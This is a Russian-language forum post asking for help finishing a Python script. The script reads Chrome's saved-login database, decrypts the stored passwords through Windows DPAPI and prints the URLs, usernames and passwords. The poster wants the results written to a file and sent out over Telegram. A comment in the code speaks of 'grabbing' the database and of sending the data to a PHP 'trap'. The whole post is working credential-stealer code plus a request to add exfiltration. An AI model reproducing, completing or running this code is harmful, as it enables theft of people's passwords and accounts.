Всем привет, надо дописать код на питоне. Просто записать значение переменной(пароли) в файл и отправить в телеграмм.
Сам код:
Сам код:
Python:
import os
import requests
from sys import exit
import sqlite3
from win32crypt import CryptUnprotectData
import argparse
print('Убедитесь что вы закрыли браузер Chrome...')
print('Ждем некоторое время...')
# Вычисляем папку куда установлен Chrome в Windows
def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName
# Грабим базу данных с сохраненными паролями
def grub():
secret = []
path = chromepath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for i in value:
password = CryptUnprotectData(i[2], None, None, None, 0)[1]
if password:
secret.append({
'1': i[0],
'2': i[1],
'3': str(password)
})
except sqlite3.OperationalError as e:
if (str(e) == 'database is locked'):
print('Вы должны выключить Chrome прежде чем запускать скрипт')
input()
exit(0)
else:
exit(0)
if secret == []:
pass
else:
return secret
# Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
for data in grub():
for x in data.values():
print(x)
print("Пароли извлечены, нажмите Enter")
input()